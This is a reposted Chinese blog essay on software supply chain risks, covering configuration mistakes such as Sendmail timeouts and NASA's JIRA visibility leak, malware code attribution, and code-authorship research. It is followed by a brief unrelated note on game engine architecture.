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...层可信的开发者还对C标准库API存在误用的现实内,我们需要更多的思考才能说接下来的解法。 Ⅴ. 从规则到陷阱:NASA JIRA误配置致信息泄露血案 软件的定义包括了代码组成的程序,以及相关的配置、文档等。当我们说软件的漏洞、风险时,往往只聚焦在其中的代码中;关于软件供应链安全风险,我们的比赛、前面分析的例子也都聚焦在了代码的问题;但是真正的威胁都来源于不可思议之处,那么代码之外有没有可能存在来源于上游的威胁呢?这里就借助实例来探讨一下,在“配置”当中可能栽倒的坑。 引子:发不到500英里以外的邮件? 让我们先从一个轻松愉快的小例子引入。这个例子初见于Linux中国的一篇译文。 简单说,作者描述了这么一个让人啼笑皆非的问题:单位的邮件服务器发送邮件,发送目标距离本地500英里范围之外的一律失败,邮件就像悠悠球一样只能飞出一定距离。这个问题本身让描述者感到尴尬,就像一个技术人员被老板问到“为什么从家里笔记本上Ctrl-C后不能在公司台式机上Ctrl-V”一样。 经过令人窒息的分析操作后,笔者定位到了问题原因:笔者作为负责的系统管理员,把SunOS默认安装的Senmail从老旧的版本5升级到了成熟的版本8,且对应于新版本诸多的新特性进行了对应配置,写入配置文件sendmail.cf;但第三方服务顾问在对单位系统进行打补丁升级维护时,将系统软件“升级”到了系统提供的最新版本,因此将Sendmail实际回退到了版本5,却为了软件行为一致性,原样保留了高版本使用的配置文件。但Sendmail并没有在大版本间保证配置文件兼容性,这导致很多版本5所需的配置项不存在于保留下来的sendmail.cf文件中,程序按默认值0处理;最终引起问题的就是,邮件服务器与接收端通信的超时时间配置项,当取默认配置值0时,邮件服务器在1个单位时间(约3毫秒)内没有收到网络回包即认为超时,而这3毫秒仅够电信号打来回飞出500英里。 这个“故事”可能会给技术人员一点警醒,错误的配置会导致预期之外的软件行为,但是配置如何会引入软件供应链方向的安全风险呢?这就引出了下一个重磅实例。 JIRA配置错误致NASA敏感信息泄露案例 我们都听过一个事情,马云在带队考察美国公司期间问Google CEO Larry Page自视谁为竞争对手,Larry的回答是NASA,因为最优秀的工程师都被NASA的梦想吸引过去了。由此我们显然能窥见NASA的技术水位之高,这样的人才团队大概至少是不会犯什么低级错误的。 但也许需要重新定义“低级错误”……1月11日一篇技术文章披露,NASA某官网部署使用的缺陷跟踪管理系统JIRA存在错误的配置,可分别泄漏内部员工(JIRA系统用户)的全部用户名和邮件地址,以及内部项目和团队名称到公众,如下: 问题的原因解释起来也非常简单:JIRA系统的过滤器和配置面板中,对于数据可见性的配置选项分别选定为All users和Everyone时,系统管理人员想当然地认为这意味着将数据对所有“系统用户”开放查看,但是JIRA的这两个选项的真实效果逆天,是面向“任意人”开放,即不限于系统登录用户,而是任何查看页面的人员。看到这里,我不厚道地笑了……“All users”并不意味着“All ‘users’”,意不意外,惊不惊喜? 但是这种字面上把戏,为什么没有引起NASA工程师的注意呢,难道这样逆天的配置项没有在产品手册文档中加粗标红提示吗?本着为JIRA产品设计找回尊严的态度,我深入挖掘了一下官方说明,果然在Atlassian官方的一份confluence文档(看起来更像是一份增补的FAQ)中找到了相关说明: 所有未登录访客访问时,系统默认认定他们是匿名anonymous用户,所以各种权限配置中的all users或anyone显然应该将匿名用户包括在内。在7.2及之后版本中,则提供了“所有登录用户”的选项。 可以说是非常严谨且贴心了。比较讽刺的是,在我们的软件供应链安全大赛·C源代码赛季期间,我们设计圈定的恶意代码攻击目标还包括JIRA相关的敏感信息的窃取,但是却想不到有这么简单方便的方式,不动一行代码就可以从JIRA中偷走数据。 软件的使用,你“配”吗? 无论是开放的代码还是成型的产品,我们在使用外部软件的时候,都是处于软件供应链下游的消费者角色,为了要充分理解上游开发和产品的真实细节意图,需要我们付出多大的努力才够“资格”? 上一章节我们讨论过源码使用中必要细节信息缺失造成的“API误用”问题,而软件配置上的“误用”问题则复杂多样得多。从可控程度上讨论,至少有这几种因素定义了这个问题: ·软件用户对必要配置的现有文档缺少了解。这是最简单的场景,但又是完全不可避免的,这一点上我们所有有开发、产品或运营角色经验的应该都曾经体会过向不管不顾用户答疑的痛苦,而所有软件使用者也可以反省一下对所有软件的使用是否都以完整细致的文档阅读作为上手的准备工作,所以不必多说。 ·软件拥有者对配置条目缺少必要明确说明文档。就JIRA的例子而言,将NASA工程师归为上一条错误有些冤枉,而将JIRA归为这条更加合适。在边角但重要问题上的说明通过社区而非官方文档形式发布是一种不负责任的做法,但未引发安全事件的情况下还有多少这样的问题被默默隐藏呢?我们没办法要求在使用软件之前所有用户将软件相关所有文档、社区问答实现全部覆盖。这个问题范围内一个代表性例子是对配置项的默认值以及对应效果的说明缺失。 ·配置文件版本兼容性带来的误配置和安全问题。实际上,上面的SunOS Sendmail案例足以点出这个问题的存在性,但是在真实场景下,很可能不会以这么戏剧性形式出现。在企业的系统运维中,系统的版本迭代常见,但为软件行为一致性,配置的跨版本迁移是不可避免的操作;而且软件的更新迭代也不只会由系统更新推动,还有大量出于业务性能要求而主动进行的定制化升级,对于中小企业基础设施建设似乎是一个没怎么被提及过的问题。 ·配置项组合冲突问题。尽管对于单个配置项可能明确行为与影响,但是特定的配置项搭配可能造成不可预知的效果。这完全有可能是由于开发者与用户在信息不对等的情况下产生:开发者认为用户应该具有必需的背景知识,做了用户应当具备规避配置冲突能力的假设。一个例子是,对称密码算法在使用ECB、CBC分组工作模式时,从密码算法上要求输入数据长度必须是分组大小的整倍数,但如果用户搭配配置了秘钥对数据不做补齐(nopadding),则引入了非确定性行为:如果密码算法库对这种组合配置按某种默认补齐方式操作数据则会引起歧义,但如果在算法库代码层面对这种组合抛出错误则直接影响业务。 ·程序对配置项处理过程的潜在暗箱操作。这区别于简单的未文档化配置项行为,仅特指可能存在的蓄意、恶意行为。从某种意义上,上述“All users”也可以认为是这样的一种陷阱,通过浅层次暗示,引导用户做出错误且可能引起问题的配置。另一种情况是特定配置组合情况下触发恶意代码的行为,这种触发条件将使恶意代码具有规避检测的能力,且在用户基数上具有一定概率的用户命中率。当然这种情况由官方开发者直接引入的可能性很低,但是在众包开发的情况下如果存在,那么扫描方案是很难检测的。 Ⅵ. 从逆流到暗流:恶意代码溯源后的挑战 如果说前面所说的种种威胁都是面向关键目标和核心系统应该思考的问题,那么最后要抛出一个会把所有人拉进赛场的理由。除了前面所有那些在软件供应链下游被动污染受害的情况,还有一种情形:你有迹可循的代码,也许在不经意间会“反哺”到黑色产业链甚至特殊武器中;而现在研究用于对程序进行分析和溯源的技术,则会让你陷入百口莫辩的境地。 案例:黑产代码模块溯源疑云 1月29日,猎豹安全团队发布技术分析通报文章《电信、百度客户端源码疑遭泄漏,驱魔家族窃取隐私再起波澜》,矛头直指黑产上游的恶意信息窃取代码模块,认定其代码与两方产品存在微妙的关联:中国电信旗下“桌面3D动态天气”等多款软件,以及百度旗下“百度杀毒”等软件(已不可访问)。 文章中举证有三个关键点。 首先最直观的,是三者使用了相同的特征字符串、私有文件路径、自定义内部数据字段格式; 其次,在关键代码位置,三者在二进制程序汇编代码层面具有高度相似性; 最终,在一定范围的非通用程序逻辑上,三者在经过反汇编后的代码语义上显示出明显的雷同,并提供了如下两图佐证(图片来源): 文章指出的涉事相关软件已经下线,对于上述样本文件的相似度试验暂不做复现,且无法求证存在相似、疑似同源的代码在三者中占比数据。对于上述指出的代码雷同现象,猎豹安全团队认为: 我们怀疑该病毒模块的作者通过某种渠道(比如“曾经就职”),掌握有中国电信旗下部分客户端/服务端源码,并加以改造用于制作窃取用户隐私的病毒,另外在该病毒模块的代码中,我们还发现“百度”旗下部分客户端的基础调试日志函数库代码痕迹,整个“驱魔”病毒家族疑点重重,其制作传播背景愈发扑朔迷离。 这样的推断,固然有过于直接的依据(例如三款代码中均使用含有“baidu”字样的特征注册表项);但更进一步地,需要注意到,三个样本在所指出的代码位置,具有直观可见的二进制汇编代码结构的相同,考虑到如果仅仅是恶意代码开发者先逆向另外两份代码后借鉴了代码逻辑,那么在面临反编译、代码上下文适配重构、跨编译器和选项的编译结果差异等诸多不确定环节,仍能保持二进制代码的雷同,似乎确实是只有从根本上的源代码泄漏(抄袭)且保持相同的开发编译环境才能成立。 但是我们却又无法做出更明确的推断。这一方面当然是出于严谨避免过度解读;而从另一方面考虑,黑产代码的一个关键出发点就是“隐藏自己”,而这里居然如此堂而皇之地照搬了代码,不但没有进行任何代码混淆、变形,甚至没有抹除疑似来源的关键字符串,如果将黑产视为智商在线的对手,那这里背后是否有其它考量,就值得琢磨了。 代码的比对、分析、溯源技术水准 上文中的安全团队基于大量样本和粗粒度比对方法,给出了一个初步的判断和疑点。那么是否有可能获得更确凿的分析结果,来证实或证伪同源猜想呢? 无论是源代码还是二进制,代码比对技术作为一种基础手段,在软件供应链安全分析上都注定仍然有效。在我们的软件供应链安全大赛期间,针对PE二进制程序类型的题目,参赛队伍就纷纷采用了相关技术手段用于目标分析,包括:同源性分析,用于判定与目标软件相似度最高的同软件官方版本;细粒度的差异分析,用于尝试在忽略编译差异和特意引入的混淆之外,定位特意引入的恶意代码位置。当然,作为比赛中针对性的应对方案,受目标和环境引导约束,这些方法证明了可行性,却难以保证集成有最新技术方案。那么做一下预言,在不计入情报辅助条件下,下一代的代码比对将能够到达什么水准? 这里结合近一年和今年内,已发表和未发表的学术领域顶级会议的相关文章来简单展望: ·针对海量甚至全量已知源码,将可以实现准确精细化的“作者归属”判定。在ACM CCS‘18会议上曾发表的一篇文章《Large-Scale and Language-Oblivious Code Authorship Identification》,描述了使用RNN进行大规模代码识别的方案,在圈定目标开发者,并预先提供每个开发者的5-7份已知的代码文件后,该技术方案可以很有效地识别大规模匿名代码仓库中隶属于每个开发者的代码:针对1600个Google Code Jam开发者8年间的所有代码可以实现96%的成功识别率,而针对745个C代码开发者于1987年之后在GitHub上面的全部公开代码仓库,识别率也高达94.38%。这样的结果在当下的场景中,已经足以实现对特定人的代码识别和跟踪(例如,考虑到特定开发人员可能由于编码习惯和规范意识,在时间和项目跨度上犯同样的错误);可以预见,在该技术方向上,完全可以期望摆脱特定已知目标人的现有数据集学习的过程,并实现更细粒度的归属分析,例如代码段、代码行、提交历史。 ·针对二进制代码,更准确、更大规模、更快速的代码主程序分析和同源性匹配。近年来作为一项程序分析基础技术研究,二进制代码相似性分析又重新获得了学术界和工业界的关注。在2018年和2019(已录用)的安全领域四大顶级会议上,每次都会有该方向最新成果的展示,如S&P‘2019上录用的《Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search against Code Obfuscation and Compiler Optimization》,实现无先验知识的条件下的最优汇编代码级别克隆检测,针对漏洞库的漏洞代码检测可实现0误报、100%召回。而2018年北京HITB会议上,Google Project Zero成员、二进制比对工具BinDiff原始作者Thomas Dullien,探讨了他借用改造Google自家SimHash算法思想,用于针对二进制代码控制流图做相似性检测的尝试和阶段结果;这种引入规模数据处理的思路,也可期望能够在目前其他技术方案大多精细化而低效的情况下,为高效、快速、大规模甚至全量代码克隆检测勾出未来方案。 ·代码比对方案对编辑、优化、变形、混淆的对抗。近年所有技术方案都以对代码“变种”的检测有效性作为关键衡量标准,并一定程度上予以保证。上文CCS‘18论文工作,针对典型源代码混淆(如Tigress)处理后的代码,大规模数据集上可有93.42%的准确识别率;S&P‘19论文针对跨编译器和编译选项、业界常用的OLLVM编译时混淆方案进行试验,在全部可用的混淆方案保护之下的代码仍然可以完成81%以上的克隆检测。值得注意的是以上方案都并非针对特定混淆方案单独优化的,方法具有通用价值;而除此以外还有很多针对性的的反混淆研究成果可用;因此,可以认为在采用常规商用代码混淆方案下,即便存在隐藏内部业务逻辑不被逆向的能力,但仍然可以被有效定位代码复用和开发者自然人。 代码溯源技术面前的“挑战” 作为软件供应链安全的独立分析方,健壮的代码比对技术是决定性的基石;而当脑洞大开,考虑到行业的发展,也许以下两种假设的情景,将把每一个“正当”的产品、开发者置于尴尬的境地。 代码仿制 在本章节引述的“驱魔家族”代码疑云案例中,黑产方面通过某种方式获得了正常代码中,功能逻辑可以被自身复用的片段,并以某种方法将其在保持原样的情况下拼接形成了恶意程序。即便在此例中并非如此,但这却暴露了隐忧:将来是不是有这种可能,我的正常代码被泄漏或逆向后出现在恶意软件中,被溯源后扣上黑锅? 这种担忧可能以多种渠道和形式成为现实。 从上游看,内部源码被人为泄漏是最简单的形式(实际上,考虑到代码的完整生命周期似乎并没有作为企业核心数据资产得到保护,目前实质上有没有这样的代码在野泄漏还是个未知数),而通过程序逆向还原代码逻辑也在一定程度上可获取原始代码关键特征。 从下游看,则可能有多种方式将恶意代码伪造得像正常代码并实现“碰瓷”。最简单地,可以大量复用关键代码特征(如字符串,自定义数据结构,关键分支条件,数据记录和交换私有格式等)。考虑到在进行溯源时,分析者实际上不需要100%的匹配度才会怀疑,因此仅仅是仿造原始程序对于第三方公开库代码的特殊定制改动,也足以将公众的疑点转移。而近年来类似自动补丁代码搜索生成的方案也可能被用来在一份最终代码中包含有二方甚至多方原始代码的特征和片段。 基于开发者溯源的定点渗透 既然在未来可能存在准确将代码与自然人对应的技术,那么这种技术也完全可能被黑色产业利用。可能的忧患包括强针对性的社会工程,结合特定开发者历史代码缺陷的漏洞挖掘利用,联动第三方泄漏人员信息的深层渗透,等等。这方面暂不做联想展开。 〇. 没有总结 作为一场旨在定义“软件供应链安全”威胁的宣言,阿里安全“功守道”大赛将在后续给出详细的分解和总结,其意义价值也许会在一段时间之后才能被挖掘。 但是威胁的现状不容乐观,威胁的发展不会静待;这一篇随笔仅仅挑选六个侧面做摘录分析,可即将到来的趋势一定只会进入更加发散的境地,因此这里,没有总结。 本篇文章为转载内容。原文链接:https://blog.csdn.net/systemino/article/details/90114743。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-05 13:33:43
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...改变了游戏视觉体验的标准。同时,随着Unity 3D和Unreal Engine等主流游戏引擎不断迭代更新,开发者能够利用其内置的高级物理模拟、AI系统和高效的多平台部署功能来打造更为真实且沉浸式的游戏世界。 此外,5G技术的大规模商用普及也推动了云游戏服务的发展,如Google Stadia和微软xCloud,它们允许玩家通过云端服务器直接运行高配置需求的游戏,无需高端硬件设备支持。这一变革不仅拓宽了游戏市场的边界,还为游戏引擎架构设计提出了全新的挑战与机遇。 深入研究方面,可以关注各大游戏工作室的技术博客和学术论文,了解他们在解决实际项目中的优化策略和创新方案。例如,顽皮狗工作室在《最后生还者2》中采用了先进的动画系统和AI设计,这些实践案例对于理解《游戏引擎架构》中的理论知识具有极高的参考价值。 综上所述,随着技术的不断创新,游戏引擎架构的重要性日益凸显。关注实时渲染技术的最新突破、新兴游戏平台的崛起及其对引擎设计的影响,以及顶级工作室在项目开发过程中的实践经验,都是深化对《游戏引擎架构》相关理论理解的良好途径,并能帮助读者紧跟时代步伐,洞察未来游戏开发的趋势和挑战。
2023-02-12 23:04:05
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